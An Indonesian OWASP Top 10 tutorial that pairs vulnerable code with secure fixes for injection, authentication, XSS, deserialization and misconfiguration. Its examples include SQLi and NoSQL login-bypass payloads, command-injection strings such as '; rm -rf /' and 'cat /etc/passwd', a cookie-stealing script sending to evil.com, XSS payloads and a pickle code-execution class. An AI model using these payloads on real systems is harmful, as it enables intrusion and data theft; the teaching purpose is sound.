1. Pengenalan OWASP
OWASP (Open Worldwide Application Security Project) adalah organisasi nonprofit global yang berfokus pada peningkatan keamanan perangkat lunak. Salah satu kontribusi terbesar OWASP adalah OWASP Top 10 β daftar sepuluh risiko keamanan aplikasi web yang paling kritis, yang diperbarui secara berkala berdasarkan data industri dan konsensus komunitas keamanan global.
OWASP Top 10 bukan sekadar daftar β ini adalah standar de facto yang digunakan oleh perusahaan, auditor keamanan, dan pengembang di seluruh dunia untuk mengevaluasi postur keamanan aplikasi web. Banyak regulasi dan standar kepatuhan (seperti PCI-DSS) mengacu pada OWASP Top 10 sebagai baseline keamanan.
Mengapa OWASP Top 10 Penting?
| Alasan | Penjelasan |
|---|---|
| Standar Industri | Diakui secara global oleh perusahaan besar, pemerintah, dan lembaga sertifikasi keamanan |
| Panduan Pengembang | Memberikan panduan praktis tentang apa yang harus dihindari saat mengembangkan aplikasi web |
| Basis Audit | Menjadi acuan utama dalam penetration testing dan security audit |
| Edukasi | Membantu tim development memahami ancaman keamanan yang paling umum dan berbahaya |
| Compliance | Banyak standar kepatuhan mewajibkan pengujian terhadap OWASP Top 10 |
OWASP Top 10 Edisi Terbaru (2021)
| Peringkat | Kategori | Deskripsi Singkat |
|---|---|---|
| A01 | Broken Access Control | Pengguna bisa mengakses resource yang seharusnya tidak diizinkan |
| A02 | Cryptographic Failures | Kegagalan implementasi kriptografi yang menyebabkan kebocoran data sensitif |
| A03 | Injection | Input berbahaya dieksekusi sebagai perintah oleh aplikasi |
| A04 | Insecure Design | Kekurangan arsitektur keamanan sejak tahap desain |
| A05 | Security Misconfiguration | Konfigurasi keamanan yang tidak tepat pada aplikasi atau server |
| A06 | Vulnerable Components | Penggunaan library/dependency yang memiliki known vulnerability |
| A07 | Authentication Failures | Mekanisme autentikasi yang lemah atau rusak |
| A08 | Software & Data Integrity | Kegagalan memverifikasi integritas software dan data |
| A09 | Security Logging Failures | Logging dan monitoring yang tidak memadai untuk mendeteksi serangan |
| A10 | SSRF | Server-Side Request Forgery β server dipaksa melakukan request ke resource internal |
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β OWASP TOP 10 ECOSYSTEM β β β β βββββββββββββββ ββββββββββββββββ βββββββββββββ β β β Pengembang βββββΆβ OWASP Top 10βββββ Auditor β β β β (Dev) β β Guidelines β β Security β β β ββββββββ¬βββββββ ββββββββ¬ββββββββ βββββββββββββ β β β β β β βΌ βΌ β β βββββββββββββββ ββββββββββββββββ β β β Secure Code β β Testing & β β β β Review β β Penetration β β β ββββββββ¬βββββββ ββββββββ¬ββββββββ β β β β β β βΌ βΌ β β βββββββββββββββββββββββββββββββββββββββ β β β Aplikasi Web yang Aman β β β βββββββββββββββββββββββββββββββββββββββ β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
2. Injection: SQL, NoSQL, dan Command Injection
Injection adalah kategori kerentanan di mana input berbahaya dari pengguna dikirim ke interpreter sebagai bagian dari perintah atau query. Ini adalah salah satu jenis serangan paling tua, paling umum, dan paling berbahaya dalam keamanan web. Penyerang dapat memanfaatkan injection untuk mengakses, memodifikasi, atau menghapus data di database, menjalankan perintah sistem operasi, dan bahkan mengambil alih server sepenuhnya.
SQL Injection
SQL Injection terjadi ketika penyerang menyisipkan kode SQL berbahaya ke dalam input yang kemudian dieksekusi oleh database. Ini bisa terjadi pada form login, parameter URL, atau input pencarian.
# β οΈ KODE INI RENTAN TERHADAP SQL INJECTION β JANGAN DITIRU!
import sqlite3
def login_rentan(username, password):
conn = sqlite3.connect('app.db')
cursor = conn.cursor()
# β String concatenation langsung ke SQL query
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
cursor.execute(query)
# Input berbahaya: username = "admin' OR '1'='1' --"
# Query menjadi: SELECT * FROM users WHERE username='admin' OR '1'='1' --' AND password=''
# Hasil: attacker berhasil login tanpa password!
user = cursor.fetchone()
conn.close()
return user
# Contoh payload injection:
# Username: ' OR 1=1 --
# Password: (kosong)
# Query menjadi: SELECT * FROM users WHERE username='' OR 1=1 --' AND password=''
# Ini mengembalikan SEMUA user!
Mitigasi SQL Injection dengan Parameterized Query
# β
KODE AMAN β Menggunakan Parameterized Query
import sqlite3
def login_aman(username, password):
conn = sqlite3.connect('app.db')
cursor = conn.cursor()
# β
Gunakan parameterized query (placeholder ?)
query = "SELECT * FROM users WHERE username = ? AND password = ?"
cursor.execute(query, (username, password))
# Database driver akan sanitize input secara otomatis
# Input berbahaya hanya dianggap sebagai string biasa
user = cursor.fetchone()
conn.close()
return user
# β
Alternatif: Menggunakan ORM (SQLAlchemy)
from sqlalchemy import create_engine, text
from sqlalchemy.orm import Session
def login_dengan_orm(username, password):
engine = create_engine('sqlite:///app.db')
with Session(engine) as session:
result = session.execute(
text("SELECT * FROM users WHERE username = :u AND password = :p"),
{"u": username, "p": password}
)
return result.fetchone()
NoSQL Injection
// β RENTAN: NoSQL Injection pada MongoDB + Express
const express = require('express');
const { MongoClient } = require('mongodb');
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// β Query langsung dari user input
// Attacker bisa mengirim: { "username": {"$gt": ""}, "password": {"$gt": ""} }
// Ini bypass autentikasi karena $gt: "" selalu true!
const user = await db.collection('users').findOne({
username: username,
password: password
});
if (user) res.json({ success: true });
else res.status(401).json({ success: false });
});
// β
SOLUSI: Validasi tipe input
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// Pastikan input adalah string, bukan object
if (typeof username !== 'string' || typeof password !== 'string') {
return res.status(400).json({ error: 'Input tidak valid' });
}
// Sanitasi dan gunakan bcrypt untuk password
const user = await db.collection('users').findOne({
username: username
});
if (user && await bcrypt.compare(password, user.passwordHash)) {
res.json({ success: true });
} else {
res.status(401).json({ success: false });
}
});
OS Command Injection
# β RENTAN: OS Command Injection
import subprocess
def ping_host_rentan(host):
# Input user langsung ke command
result = subprocess.run(
f"ping -c 4 {host}", # host bisa jadi: "8.8.8.8; rm -rf /"
shell=True, # shell=True menambah risiko!
capture_output=True,
text=True
)
return result.stdout
# Payload berbahaya: "8.8.8.8; cat /etc/passwd"
# Akan menjalankan: ping -c 4 8.8.8.8; cat /etc/passwd
# β
SOLUSI: Gunakan subprocess tanpa shell + validasi input
import re
import shlex
def ping_host_aman(host):
# Validasi input β hanya boleh IP atau hostname
if not re.match(r'^[a-zA-Z0-9\.\-]+$', host):
raise ValueError("Input tidak valid!")
# Gunakan list alih-alih string + shell=False
result = subprocess.run(
["ping", "-c", "4", host],
shell=False, # Tidak melalui shell
capture_output=True,
text=True
)
return result.stdout
- Selalu gunakan parameterized queries atau prepared statements
- Validasi dan sanitize semua input dari user β jangan pernah percaya input
- Gunakan ORM untuk abstraksi database yang lebih aman
- Hindari shell=True pada subprocess β gunakan list arguments
- Implementasikan least privilege β database user hanya boleh akses yang diperlukan
- Gunakan Web Application Firewall (WAF) sebagai lapisan pertahanan tambahan
3. Broken Authentication
Broken Authentication mencakup semua kelemahan dalam implementasi autentikasi yang memungkinkan penyerang mengkompromikan akun pengguna. Ini termasuk credential stuffing, brute force, session hijacking, dan pengelolaan session yang buruk. Menurut OWASP, ini adalah salah satu kerentanan yang paling sering dieksploitasi dalam serangan skala besar.
Jenis-Jenis Broken Authentication
| Jenis Serangan | Deskripsi | Dampak |
|---|---|---|
| Credential Stuffing | Menggunakan kombinasi username/password yang bocor dari breach lain | Akun pengguna diambil alih |
| Brute Force | Mencoba semua kombinasi password secara otomatis | Password lemah bisa ditembus |
| Session Hijacking | Mencuri session token untuk menyamar sebagai pengguna | Akses penuh ke akun korban |
| Session Fixation | Memaksa pengguna menggunakan session ID yang sudah diketahui penyerang | Penyerang bisa ikut login |
| Weak Password Policy | Tidak ada kebijakan password yang kuat | Password mudah ditebak |
Contoh Implementasi Autentikasi yang Aman
# β
Implementasi Autentikasi yang Aman
from flask import Flask, request, session, abort
import bcrypt
import secrets
import time
from functools import wraps
app = Flask(__name__)
app.secret_key = secrets.token_hex(32)
# Rate limiting sederhana
login_attempts = {}
def rate_limit(username, max_attempts=5, window=300):
"""Batasi percobaan login per username"""
now = time.time()
if username not in login_attempts:
login_attempts[username] = []
# Hapus attempt lama
login_attempts[username] = [
t for t in login_attempts[username] if now - t < window
]
if len(login_attempts[username]) >= max_attempts:
return False # Terlalu banyak percobaan
login_attempts[username].append(now)
return True
@app.route('/login', methods=['POST'])
def login():
username = request.form.get('username', '')
password = request.form.get('password', '')
# Rate limiting
if not rate_limit(username):
abort(429, "Terlalu banyak percobaan login. Coba lagi nanti.")
# Cari user di database
user = find_user(username)
if not user:
# Gunakan pesan error generik untuk mencegah username enumeration
return {"error": "Username atau password salah"}, 401
# Verifikasi password dengan bcrypt
if bcrypt.checkpw(password.encode(), user['password_hash']):
# Generate session token yang aman
session['user_id'] = user['id']
session['token'] = secrets.token_hex(32)
session.permanent = True
app.permanent_session_lifetime = 3600 # 1 jam
return {"message": "Login berhasil"}
else:
return {"error": "Username atau password salah"}, 401
# Registrasi dengan password hashing
@app.route('/register', methods=['POST'])
def register():
username = request.form.get('username', '')
password = request.form.get('password', '')
# Validasi kekuatan password
if len(password) < 12:
return {"error": "Password minimal 12 karakter"}, 400
if not any(c.isupper() for c in password):
return {"error": "Password harus mengandung huruf besar"}, 400
if not any(c.isdigit() for c in password):
return {"error": "Password harus mengandung angka"}, 400
# Hash password dengan bcrypt (salt otomatis)
salt = bcrypt.gensalt(rounds=12)
password_hash = bcrypt.hashpw(password.encode(), salt)
# Simpan ke database
save_user(username, password_hash)
return {"message": "Registrasi berhasil"}, 201
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β SECURE AUTHENTICATION FLOW β β β β User βββΆ [Login Form] βββΆ [Rate Limiter] β β β β β βββββββΌβββββββ β β β Validasi β β β β Input β β β βββββββ¬βββββββ β β βββββββΌβββββββ β β β Cek User β β β β di DB β β β βββββββ¬βββββββ β β βββββββΌβββββββ β β β Verifikasi β β β β Password β β β β (bcrypt) β β β βββββββ¬βββββββ β β βββββββΌβββββββ β β β Generate β β β β Session β β β β Token β β β βββββββ¬βββββββ β β βΌ β β [Access Granted] β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
- Gunakan Multi-Factor Authentication (MFA) untuk lapisan keamanan tambahan
- Implementasikan rate limiting untuk mencegah brute force
- Gunakan bcrypt, scrypt, atau Argon2 untuk hashing password β JANGAN gunakan MD5/SHA1
- Terapkan password policy yang kuat (minimal 12 karakter, kombinasi huruf, angka, simbol)
- Gunakan pesan error generik ("Username atau password salah") untuk mencegah username enumeration
- Setel session timeout yang wajar dan regenerate session ID setelah login
4. Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS) adalah kerentanan yang memungkinkan penyerang menyuntikkan kode JavaScript berbahaya ke halaman web yang dilihat oleh pengguna lain. Kode ini kemudian dieksekusi di browser korban, memungkinkan penyerang mencuri cookie, session token, data pribadi, atau bahkan mengubah tampilan halaman web.
Jenis-Jenis XSS
| Jenis | Deskripsi | Vektor Serangan |
|---|---|---|
| Stored XSS | Kode berbahaya disimpan di server (database) dan ditampilkan ke semua pengguna | Komentar, profil pengguna, postingan forum |
| Reflected XSS | Kode berbahaya dikirim melalui URL dan langsung direfleksikan oleh server | Parameter URL, search query, form submission |
| DOM-based XSS | Kode berbahaya dieksekusi melalui manipulasi DOM di sisi client | fragment URL, localStorage, API response |
Contoh dan Pencegahan XSS
// β RENTAN: Stored XSS pada komentar blog
function tampilkanKomentar(komentar) {
// InnerHTML tanpa sanitasi = XSS!
document.getElementById('komentar').innerHTML = komentar;
// Jika komentar: "<script>document.location='http://evil.com/?c='+document.cookie</script>"
// Cookie pengguna akan dikirim ke server penyerang!
// β
AMAN: Menggunakan textContent atau sanitasi
function tampilkanKomentarAman(komentar) {
// textContent secara otomatis escape HTML
document.getElementById('komentar').textContent = komentar;
}
// β
AMAN: Sanitasi HTML jika perlu rendering HTML
function sanitizeHTML(input) {
const div = document.createElement('div');
div.textContent = input;
return div.innerHTML;
}
// β
AMAN: Menggunakan library DOMPurify
// npm install dompurify
import DOMPurify from 'dompurify';
function tampilkanKomentarDenganSanitasi(html) {
const clean = DOMPurify.sanitize(html);
document.getElementById('komentar').innerHTML = clean;
}
# β
Implementasi Content Security Policy (CSP) di Flask
from flask import Flask, make_response
app = Flask(__name__)
@app.after_request
def add_security_headers(response):
# CSP β batasi sumber script, style, dan resource lainnya
response.headers['Content-Security-Policy'] = (
"default-src 'self'; "
"script-src 'self' 'nonce-random123'; "
"style-src 'self' 'unsafe-inline'; "
"img-src 'self' data: https:; "
"font-src 'self'; "
"connect-src 'self'; "
"frame-ancestors 'none'; "
"base-uri 'self'; "
"form-action 'self'"
)
# Header keamanan tambahan
response.headers['X-Content-Type-Options'] = 'nosniff'
response.headers['X-Frame-Options'] = 'DENY'
response.headers['X-XSS-Protection'] = '1; mode=block'
response.headers['Referrer-Policy'] = 'strict-origin-when-cross-origin'
response.headers['Strict-Transport-Security'] = 'max-age=31536000; includeSubDomains'
return response
# β
Template dengan auto-escaping (Jinja2)
# Jinja2 secara default melakukan auto-escaping:
# {{ user_input }} β aman (di-escape otomatis)
# {{ user_input | safe }} β HANYA gunakan untuk konten yang sudah dipercaya
Kenali payload XSS berikut agar Anda bisa mendeteksinya:
<script>alert('XSS')</script>β Bentuk paling dasar<img src=x onerror=alert('XSS')>β Melalui atribut gambar<svg onload=alert('XSS')>β Melalui SVGjavascript:alert('XSS')β Melalui href/link<body onload=alert('XSS')>β Melalui event handler
5. Insecure Deserialization
Insecure Deserialization terjadi ketika aplikasi mendeserialisasi data yang tidak terpercaya tanpa validasi yang memadai. Penyerang bisa memanipulasi data serialisasi untuk Remote Code Execution (RCE), serangan replay, injection, dan privilege escalation. Kerentanan ini sangat berbahaya karena bisa mengakibatkan pengambilalihan server sepenuhnya.
Apa itu Serialization & Deserialization?
| Proses | Deskripsi | Contoh Format |
|---|---|---|
| Serialization | Mengubah objek menjadi format yang bisa disimpan/dikirim | JSON, XML, Pickle, YAML, Java Serializable |
| Deserialization | Mengubah data kembali menjadi objek yang bisa digunakan | json.loads(), pickle.loads(), yaml.load() |
# β SANGAT BERBAHAYA: Deserialisasi pickle dari input user
import pickle
import base64
# Penyerang bisa membuat payload pickle yang menjalankan perintah sistem
class MaliciousPayload:
def __reduce__(self):
import os
return (os.system, ('echo "Server diambil alih!" && whoami',))
# Penyerang mengirim: base64.b64encode(pickle.dumps(MaliciousPayload()))
# Saat server mendeserialisasi, perintah di atas akan dieksekusi!
# β Contoh kode rentan
def load_user_preferences(data_base64):
data = base64.b64decode(data_base64)
return pickle.loads(data) # β οΈ Bisa mengeksekusi kode apapun!
# β
SOLUSI 1: Jangan gunakan pickle untuk data dari luar
# Gunakan JSON sebagai gantinya
import json
def load_user_preferences_aman(data_json):
# JSON hanya bisa merepresentasikan data, bukan kode
allowed_keys = {'theme', 'language', 'notifications', 'font_size'}
data = json.loads(data_json)
# Validasi struktur data
sanitized = {k: v for k, v in data.items() if k in allowed_keys}
return sanitized
# β
SOLUSI 2: Jika harus deserialize data complex, gunakan safe format
# seperti JSON Schema validation
from jsonschema import validate
schema = {
"type": "object",
"properties": {
"theme": {"type": "string", "enum": ["dark", "light"]},
"language": {"type": "string", "pattern": "^[a-z]{2}$"},
"notifications": {"type": "boolean"},
"font_size": {"type": "integer", "minimum": 12, "maximum": 24}
},
"additionalProperties": false
}
def load_preferences_validated(data_json):
data = json.loads(data_json)
validate(instance=data, schema=schema) # Validasi ketat
return data
- JANGAN PERNAH mendeserialisasi data dari sumber yang tidak terpercaya menggunakan format yang bisa mengeksekusi kode (pickle, Java Serializable, YAML)
- Gunakan JSON sebagai format pertukaran data β tidak bisa mengeksekusi kode
- Validasi semua data yang dideserialisasi sebelum digunakan
- Implementasikan integritas β gunakan HMAC atau signature untuk memverifikasi data belum dimanipulasi
- Monitor dan log semua aktivitas deserialisasi yang mencurigakan
6. Security Misconfiguration
Security Misconfiguration adalah kerentanan yang paling umum dan mencakup berbagai masalah: dari default credentials yang tidak diubah, error messages yang mengekspos informasi sensitif, hingga fitur yang tidak diperlukan yang tetap aktif. Ini bisa terjadi di level aplikasi, web server, database, framework, atau container.
Jenis-Jenis Security Misconfiguration
| Masalah | Risiko | Solusi |
|---|---|---|
| Default credentials | Akses tidak sah menggunakan username/password bawaan | Ubah semua default credential saat deployment |
| Debug mode aktif di production | Stack trace dan informasi internal terekspos | Matikan debug mode di production |
| Directory listing aktif | Struktur folder dan file terlihat oleh publik | Nonaktifkan directory listing di web server |
| Unnecessary services | Attack surface bertambah | Hapus/nonaktifkan service yang tidak diperlukan |
| Missing security headers | Rentan terhadap clickjacking, MIME sniffing, dll. | Implementasikan semua security headers |
| Verbose error messages | Informasi teknis seperti DB connection string terekspos | Tampilkan pesan error generik ke user |
# security_config.py β Checklist Konfigurasi Keamanan
from flask import Flask
import os
def create_secure_app():
app = Flask(__name__)
# β
1. Secret key dari environment variable, bukan hardcoded
app.secret_key = os.environ.get('SECRET_KEY')
if not app.secret_key:
raise RuntimeError("SECRET_KEY harus diset di environment variable!")
# β
2. Matikan debug mode di production
app.config['DEBUG'] = False
app.config['TESTING'] = False
# β
3. Konfigurasi session yang aman
app.config['SESSION_COOKIE_SECURE'] = True # Hanya HTTPS
app.config['SESSION_COOKIE_HTTPONLY'] = True # Tidak bisa diakses JS
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax' # Cegah CSRF
app.config['PERMANENT_SESSION_LIFETIME'] = 3600 # 1 jam timeout
# β
4. Rate limiting
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
limiter = Limiter(app=app, key_func=get_remote_address)
# β
5. CORS configuration yang ketat
from flask_cors import CORS
CORS(app, resources={
r"/api/*": {
"origins": ["https://beebanelabs.pages.dev"],
"methods": ["GET", "POST"],
"allow_headers": ["Content-Type", "Authorization"]
}
})
# β
6. Error handler β jangan ekspos stack trace
@app.errorhandler(500)
def internal_error(error):
app.logger.error(f"Internal error: {error}")
return {"error": "Terjadi kesalahan internal"}, 500
@app.errorhandler(404)
def not_found(error):
return {"error": "Halaman tidak ditemukan"}, 404
return app
# β
7. Environment-based configuration
class Config:
"""Pisahkan config per environment"""
TESTING = False
CSRF_ENABLED = True
SQLALCHEMY_TRACK_MODIFICATIONS = False
class ProductionConfig(Config):
DEBUG = False
DATABASE_URI = os.environ.get('DATABASE_URL')
# Pastikan SSL/TLS untuk database connection
SQLALCHEMY_ENGINE_OPTIONS = {
'connect_args': {'sslmode': 'require'}
}
class DevelopmentConfig(Config):
DEBUG = True
DATABASE_URI = 'sqlite:///dev.db'
Security Headers Lengkap
# /etc/nginx/conf.d/security.conf # Content Security Policy add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; connect-src 'self'; frame-ancestors 'none';" always; # Mencegah clickjacking add_header X-Frame-Options "DENY" always; # Mencegah MIME sniffing add_header X-Content-Type-Options "nosniff" always; # XSS Protection (legacy browsers) add_header X-XSS-Protection "1; mode=block" always; # HSTS β paksa HTTPS add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always; # Referrer Policy add_header Referrer-Policy "strict-origin-when-cross-origin" always; # Permissions Policy add_header Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=()" always; # Sembunyikan versi server server_tokens off;
- β Ubah semua default credentials (admin/password)
- β Matikan debug mode dan verbose error messages di production
- β Hapus fitur, endpoint, dan service yang tidak diperlukan
- β Implementasikan semua security headers
- β Konfigurasi CORS secara ketat β jangan gunakan wildcard (*)
- β Gunakan environment variables untuk secrets
- β Lakukan automated scanning secara berkala
- β Review dan harden konfigurasi server sebelum deployment
7. Quiz: Uji Pemahamanmu!
Setelah membaca tutorial di atas, jawablah 5 pertanyaan berikut untuk menguji pemahamanmu tentang OWASP Top 10: